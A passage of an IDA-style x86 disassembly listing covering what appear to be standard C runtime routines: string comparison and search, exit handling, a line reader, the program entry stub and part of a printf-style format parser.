		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415B62:				; CODE XREF: sub_415AE0+55j
					; sub_415AE0+59j
		test	eax, eax
		jz	short loc_415B2A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_415B55
		dec	eax
		jz	short loc_415B89
		cmp	dh, ch
		jnz	short loc_415B55
		dec	eax
		jz	short loc_415B89
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_415B55
		dec	eax


loc_415B89:				; CODE XREF: sub_415AE0+8Fj
					; sub_415AE0+96j
		pop	edi
		pop	esi
		retn
sub_415AE0	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_415BA0


loc_415B90:				; CODE XREF: sub_415BA0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_415BA0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415BA0	proc near		; CODE XREF: sub_40B734+32p
					; sub_40B85A+21p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00415B90 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_415BA6:				; CODE XREF: sub_413DE0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_415BCB


loc_415BB8:				; CODE XREF: sub_415BA0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_415B90
		test	cl, cl
		jz	short loc_415C14
		test	edx, 3
		jnz	short loc_415BB8


loc_415BCB:				; CODE XREF: sub_415BA0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_415BD6:				; CODE XREF: sub_415BA0+61j
					; sub_415BA0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_415C18
		and	eax, 81010100h
		jz	short loc_415BD6
		and	eax, 1010100h
		jnz	short loc_415C12
		and	esi, 80000000h
		jnz	short loc_415BD6


loc_415C12:				; CODE XREF: sub_415BA0+68j
					; sub_415BA0+81j ...
		pop	esi
		pop	edi


loc_415C14:				; CODE XREF: sub_415BA0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_415C18:				; CODE XREF: sub_415BA0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_415C55
		test	al, al
		jz	short loc_415C12
		cmp	ah, bl
		jz	short loc_415C4E
		test	ah, ah
		jz	short loc_415C12
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_415C47
		test	al, al
		jz	short loc_415C12
		cmp	ah, bl
		jz	short loc_415C40
		test	ah, ah
		jz	short loc_415C12
		jmp	short loc_415BD6
; ---------------------------------------------------------------------------


loc_415C40:				; CODE XREF: sub_415BA0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_415C47:				; CODE XREF: sub_415BA0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_415C4E:				; CODE XREF: sub_415BA0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_415C55:				; CODE XREF: sub_415BA0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_415BA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_415C5C	proc near		; CODE XREF: .text:00415EA4p
		mov	eax, off_43777C
		test	eax, eax
		jz	short loc_415C67
		call	eax ; sub_41407D


loc_415C67:				; CODE XREF: sub_415C5C+7j
		push	offset dword_421024
		push	offset dword_421010
		call	sub_415D44
		push	offset dword_42100C
		push	offset dword_421000
		call	sub_415D44
		add	esp, 10h
		retn
sub_415C5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_415C89	proc near		; CODE XREF: .text:00415EE3p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_415CAB
		add	esp, 0Ch
		retn
sub_415C89	endp


; =============== S U B	R O U T	I N E =======================================



sub_415C9A	proc near		; CODE XREF: .text:00415F02p
					; sub_415F07+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_415CAB
		add	esp, 0Ch
		retn
sub_415C9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_415CAB	proc near		; CODE XREF: sub_415C89+8p
					; sub_415C9A+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_742274, edi
		jnz	short loc_415CC8
		push	[esp+4+arg_0]
		call	ds:off_41F0F0
		push	eax
		call	ds:off_41F138


loc_415CC8:				; CODE XREF: sub_415CAB+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_742270, edi
		mov	byte_74226C, bl
		jnz	short loc_415D1C
		mov	eax, dword_743894
		test	eax, eax
		jz	short loc_415D0B
		mov	ecx, dword_743890
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_415D0A


loc_415CF7:				; CODE XREF: sub_415CAB+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_415CFF
		call	eax


loc_415CFF:				; CODE XREF: sub_415CAB+50j
		sub	esi, 4
		cmp	esi, dword_743894
		jnb	short loc_415CF7


loc_415D0A:				; CODE XREF: sub_415CAB+4Aj
		pop	esi


loc_415D0B:				; CODE XREF: sub_415CAB+3Cj
		push	offset dword_421030
		push	offset dword_421028
		call	sub_415D44
		pop	ecx
		pop	ecx


loc_415D1C:				; CODE XREF: sub_415CAB+33j
		push	offset dword_42103C
		push	offset dword_421034
		call	sub_415D44
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_415D42
		push	[esp+4+arg_0]
		mov	dword_742274, edi
		call	ds:off_41F104


loc_415D42:				; CODE XREF: sub_415CAB+85j
		pop	edi
		retn
sub_415CAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_415D44	proc near		; CODE XREF: sub_415C5C+15p
					; sub_415C5C+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_415D49:				; CODE XREF: sub_415D44+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_415D5C
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_415D57
		call	eax


loc_415D57:				; CODE XREF: sub_415D44+Fj
		add	esi, 4
		jmp	short loc_415D49
; ---------------------------------------------------------------------------


loc_415D5C:				; CODE XREF: sub_415D44+9j
		pop	esi
		retn
sub_415D44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D5E	proc near		; CODE XREF: sub_40CC09+409Fp
					; sub_40CC09+40CEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_415D72
		xor	eax, eax
		jmp	short loc_415DA8
; ---------------------------------------------------------------------------


loc_415D72:				; CODE XREF: sub_415D5E+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_415DA2
		mov	esi, [ebp+arg_8]


loc_415D7B:				; CODE XREF: sub_415D5E+42j
		dec	dword ptr [esi+4]
		js	short loc_415D8A
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_415D91
; ---------------------------------------------------------------------------


loc_415D8A:				; CODE XREF: sub_415D5E+20j
		push	esi
		call	sub_41991B
		pop	ecx


loc_415D91:				; CODE XREF: sub_415D5E+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_415DAC
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_415DA2
		dec	[ebp+arg_4]
		jnz	short loc_415D7B


loc_415DA2:				; CODE XREF: sub_415D5E+18j
					; sub_415D5E+3Dj ...
		and	byte ptr [edi],	0


loc_415DA5:				; CODE XREF: sub_415D5E+55j
		mov	eax, ebx
		pop	esi


loc_415DA8:				; CODE XREF: sub_415D5E+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_415DAC:				; CODE XREF: sub_415D5E+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_415DA2
		xor	ebx, ebx
		jmp	short loc_415DA5
sub_415D5E	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DB5	proc near		; CODE XREF: sub_40CC09+2761p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:off_41F118
		test	eax, eax
		jnz	short loc_415DCB
		call	ds:off_41F06C
		jmp	short loc_415DCD
; ---------------------------------------------------------------------------


loc_415DCB:				; CODE XREF: sub_415DB5+Cj
		xor	eax, eax


loc_415DCD:				; CODE XREF: sub_415DB5+14j
		test	eax, eax
		jz	short loc_415DDC
		push	eax
		call	sub_41A82A
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_415DDC:				; CODE XREF: sub_415DB5+1Aj
		xor	eax, eax
		retn
sub_415DB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DDF	proc near		; CODE XREF: sub_40CC09+26B8p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41A891
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416065
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_41A91E
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_415DDF	endp

; ---------------------------------------------------------------------------


loc_415E11:				; CODE XREF: _0z4jwtox:00753AA8j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41F670
		push	offset sub_41B124
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		call	ds:dword_41F164	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	dword_742244, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	dword_742240, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	dword_74223C, ecx
		shr	eax, 10h
		mov	dword_742238, eax
		xor	esi, esi
		push	esi
		call	sub_4168FF
		pop	ecx
		test	eax, eax
		jnz	short loc_415E7D
		push	1Ch
		call	sub_415F2C
		pop	ecx


loc_415E7D:				; CODE XREF: .text:00415E73j
		mov	[ebp-4], esi
		call	sub_41AF6F
		call	ds:off_41F160
		mov	dword_743884, eax
		call	sub_41AE3D
		mov	dword_742278, eax
		call	sub_41ABF0
		call	sub_41AB37
		call	sub_415C5C
		mov	[ebp-30h], esi
		lea	eax, [ebp-5Ch]
		push	eax
		call	ds:off_41F15C
		call	sub_41AADF
		mov	[ebp-64h], eax
		test	byte ptr [ebp-30h], 1
		jz	short loc_415ECA
		movzx	eax, word ptr [ebp-2Ch]
		jmp	short loc_415ECD
; ---------------------------------------------------------------------------


loc_415ECA:				; CODE XREF: .text:00415EC2j
		push	0Ah
		pop	eax


loc_415ECD:				; CODE XREF: .text:00415EC8j
		push	eax
		push	dword ptr [ebp-64h]
		push	esi
		push	esi
		call	ds:dword_41F0B0	; GetModuleHandleA
		push	eax
		call	sub_40C2D0
		mov	[ebp-60h], eax
		push	eax
		call	sub_415C89
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-68h], ecx
		push	eax
		push	ecx
		call	sub_41A95B
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_415C9A

; =============== S U B	R O U T	I N E =======================================



sub_415F07	proc near		; CODE XREF: sub_414992+16p
					; sub_41AB37+4Ep ...

arg_0		= dword	ptr  4

		cmp	dword_742280, 1
		jnz	short loc_415F15
		call	sub_41B1FC


loc_415F15:				; CODE XREF: sub_415F07+7j
		push	[esp+arg_0]
		call	sub_41B235
		push	0FFh
		call	off_4377A0
		pop	ecx
		pop	ecx
		retn
sub_415F07	endp


; =============== S U B	R O U T	I N E =======================================



sub_415F2C	proc near		; CODE XREF: .text:00415E77p

arg_0		= dword	ptr  4

		cmp	dword_742280, 1
		jnz	short loc_415F3A
		call	sub_41B1FC


loc_415F3A:				; CODE XREF: sub_415F2C+7j
		push	[esp+arg_0]
		call	sub_41B235
		pop	ecx
		push	0FFh
		call	ds:off_41F104
		retn
sub_415F2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F50	proc near		; CODE XREF: sub_413812+46p
					; sub_413D8A+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_416059
		test	al, 40h
		jnz	loc_416059
		test	al, 1
		jz	short loc_415F88
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_416059
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_415F88:				; CODE XREF: sub_415F50+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_415FC2
		cmp	esi, offset dword_437EC8
		jz	short loc_415FB0
		cmp	esi, offset dword_437EE8
		jnz	short loc_415FBB


loc_415FB0:				; CODE XREF: sub_415F50+56j
		push	ebx
		call	sub_41B3CC
		test	eax, eax
		pop	ecx
		jnz	short loc_415FC2


loc_415FBB:				; CODE XREF: sub_415F50+5Ej
		push	esi
		call	sub_41B388
		pop	ecx


loc_415FC2:				; CODE XREF: sub_415F50+4Ej
					; sub_415F50+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41602F
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_415FF2
		push	edi
		push	eax
		push	ebx
		call	sub_41A67D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_416025
; ---------------------------------------------------------------------------


loc_415FF2:				; CODE XREF: sub_415F50+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41600D
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_743540[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_416012
; ---------------------------------------------------------------------------


loc_41600D:				; CODE XREF: sub_415F50+A5j
		mov	eax, offset dword_437E10


loc_416012:				; CODE XREF: sub_415F50+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_416025
		push	2
		push	0
		push	ebx
		call	sub_419DD2
		add	esp, 0Ch


loc_416025:				; CODE XREF: sub_415F50+A0j
					; sub_415F50+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_416043
; ---------------------------------------------------------------------------


loc_41602F:				; CODE XREF: sub_415F50+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41A67D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_416043:				; CODE XREF: sub_415F50+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41604F
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41605E
; ---------------------------------------------------------------------------


loc_41604F:				; CODE XREF: sub_415F50+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_416061
; ---------------------------------------------------------------------------


loc_416059:				; CODE XREF: sub_415F50+10j
					; sub_415F50+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41605E:				; CODE XREF: sub_415F50+FDj
		or	eax, 0FFFFFFFFh


loc_416061:				; CODE XREF: sub_415F50+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_415F50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416065	proc near		; CODE XREF: sub_413812+29p
					; sub_413D8A+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41677E
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_416099
; ---------------------------------------------------------------------------


loc_416091:				; CODE XREF: sub_416065+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_416099:				; CODE XREF: sub_416065+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41677E
		cmp	bl, 20h
		jl	short loc_4160BA
		cmp	bl, 78h
		jg	short loc_4160BA
		movsx	eax, bl
		mov	al, [eax+41F65Ch]
		and	eax, 0Fh
		jmp	short loc_4160BC
; ---------------------------------------------------------------------------


loc_4160BA:				; CODE XREF: sub_416065+40j
					; sub_416065+45j
		xor	eax, eax


loc_4160BC:				; CODE XREF: sub_416065+53j
		movsx	eax, ds:byte_41F67C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41676D	; default
		jmp	ds:off_416786[eax*4] ; switch jump


loc_4160DA:				; DATA XREF: .text:off_416786o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 004160D3 case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_4160F5:				; CODE XREF: sub_416065+6Ej
					; DATA XREF: .text:off_416786o
		movsx	eax, bl		; jumptable 004160D3 case 2
		sub	eax, 20h
		jz	short loc_416138
		sub	eax, 3
		jz	short loc_41612F
		sub	eax, 8
		jz	short loc_416126
		dec	eax
		dec	eax
		jz	short loc_41611D
		sub	eax, 3
		jnz	loc_41676D	; default
		or	[ebp+var_4], 8
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_41611D:				; CODE XREF: sub_416065+A4j
		or	[ebp+var_4], 4
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_416126:				; CODE XREF: sub_416065+A0j
		or	[ebp+var_4], 1
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_41612F:				; CODE XREF: sub_416065+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_416138:				; CODE XREF: sub_416065+96j
		or	[ebp+var_4], 2
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_416141:				; CODE XREF: sub_416065+6Ej
					; DATA XREF: .text:off_416786o
		cmp	bl, 2Ah		; jumptable 004160D3 case 3
		jnz	short loc_416169
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_416844
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41676D	; default
		or	[ebp+var_4], 4
		neg	eax


loc_416161:				; CODE XREF: sub_416065+111j
		mov	[ebp+var_20], eax
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_416169:				; CODE XREF: sub_416065+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_416161
; ---------------------------------------------------------------------------


loc_416178:				; CODE XREF: sub_416065+6Ej
					; DATA XREF: .text:off_416786o
		mov	[ebp+var_10], edx ; jumptable 004160D3 case 4
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_416180:				; CODE XREF: sub_416065+6Ej
					; DATA XREF: .text:off_416786o
		cmp	bl, 2Ah		; jumptable 004160D3 case 5
		jnz	short loc_4161A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_416844
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41676D	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_4161A3:				; CODE XREF: sub_416065+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_4161B5:				; CODE XREF: sub_416065+6Ej
					; DATA XREF: .text:off_416786o
		cmp	bl, 49h		; jumptable 004160D3 case 6
		jz	short loc_4161E8
		cmp	bl, 68h
		jz	short loc_4161DF
		cmp	bl, 6Ch
		jz	short loc_4161D6
		cmp	bl, 77h
		jnz	loc_41676D	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_4161D6:				; CODE XREF: sub_416065+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_4161DF:				; CODE XREF: sub_416065+158j
		or	[ebp+var_4], 20h
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_4161E8:				; CODE XREF: sub_416065+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_416201
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_416201
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_416201:				; CODE XREF: sub_416065+186j
					; sub_416065+18Cj
		mov	[ebp+var_30], edx


loc_416204:				; CODE XREF: sub_416065+6Ej
					; DATA XREF: .text:off_416786o
		mov	ecx, off_4377B0	; jumptable 004160D3 case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_416230
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_4167A6
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_416230:				; CODE XREF: sub_416065+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_4167A6
		add	esp, 0Ch
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_416248:				; CODE XREF: sub_416065+6Ej
					; DATA XREF: .text:off_416786o
		movsx	eax, bl		; jumptable 004160D3 case 7
		cmp	eax, 67h
		jg	loc_416470
		cmp	eax, 65h
		jge	loc_4162F3
		cmp	eax, 58h
		jg	loc_416351
		jz	loc_4164E4
		sub	eax, 43h
		jz	loc_416314
		dec	eax
		dec	eax
		jz	short loc_4162E9
		dec	eax
		dec	eax
		jz	short loc_4162E9
		sub	eax, 0Ch
		jnz	loc_41666F
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_416292
		or	byte ptr [ebp+var_4+1],	8


loc_416292:				; CODE XREF: sub_416065+227j
					; sub_416065+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41629F
		mov	esi, 7FFFFFFFh


loc_41629F:				; CODE XREF: sub_416065+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_416844
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_4164B8
		test	ecx, ecx
		jnz	short loc_4162C7
		mov	ecx, off_4377AC
		mov	[ebp+var_8], ecx


loc_4162C7:				; CODE XREF: sub_416065+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_4162D0:				; CODE XREF: sub_416065+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_4164AF
		cmp	word ptr [eax],	0
		jz	loc_4164AF
		inc	eax
		inc	eax
		jmp	short loc_4162D0
; ---------------------------------------------------------------------------


loc_4162E9:				; CODE XREF: sub_416065+212j
					; sub_416065+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_4162F3:				; CODE XREF: sub_416065+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_4163D7
		mov	[ebp+var_10], 6
		jmp	loc_4163E5
; ---------------------------------------------------------------------------


loc_416314:				; CODE XREF: sub_416065+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_416320
		or	byte ptr [ebp+var_4+1],	8


loc_416320:				; CODE XREF: sub_416065+2B5j
					; sub_416065+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_416367
		call	sub_416861
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B4AB
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41637A
		mov	[ebp+var_28], 1
		jmp	short loc_41637A
; ---------------------------------------------------------------------------


loc_416351:				; CODE XREF: sub_416065+1FBj
		sub	eax, 5Ah
		jz	short loc_416388
		sub	eax, 9
		jz	short loc_416320
		dec	eax
		jz	loc_41654A
		jmp	loc_41666F
; ---------------------------------------------------------------------------


loc_416367:				; CODE XREF: sub_416065+2C5j
		call	sub_416844
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41637A:				; CODE XREF: sub_416065+2E1j
					; sub_416065+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41666F
; ---------------------------------------------------------------------------


loc_416388:				; CODE XREF: sub_416065+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_416844
		test	eax, eax
		pop	ecx
		jz	short loc_4163C9
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_4163C9
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_4163BA
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41666F
; ---------------------------------------------------------------------------


loc_4163BA:				; CODE XREF: sub_416065+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41666C
; ---------------------------------------------------------------------------


loc_4163C9:				; CODE XREF: sub_416065+32Fj
					; sub_416065+336j
		mov	eax, off_4377A8
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_416465
; ---------------------------------------------------------------------------


loc_4163D7:				; CODE XREF: sub_416065+29Dj
		jnz	short loc_4163E5
		cmp	bl, 67h
		jnz	short loc_4163E5
		mov	[ebp+var_10], 1


loc_4163E5:				; CODE XREF: sub_416065+2AAj
					; sub_416065:loc_4163D7j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_437AE8
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_416437
		cmp	[ebp+var_10], 0
		jnz	short loc_416437
		lea	eax, [ebp+var_248]
		push	eax
		call	off_437AF4
		pop	ecx


loc_416437:				; CODE XREF: sub_416065+3BCj
					; sub_416065+3C2j
		cmp	bl, 67h
		jnz	short loc_41644E
		test	esi, esi
		jnz	short loc_41644E
		lea	eax, [ebp+var_248]
		push	eax
		call	off_437AEC
		pop	ecx


loc_41644E:				; CODE XREF: sub_416065+3D5j
					; sub_416065+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_416464
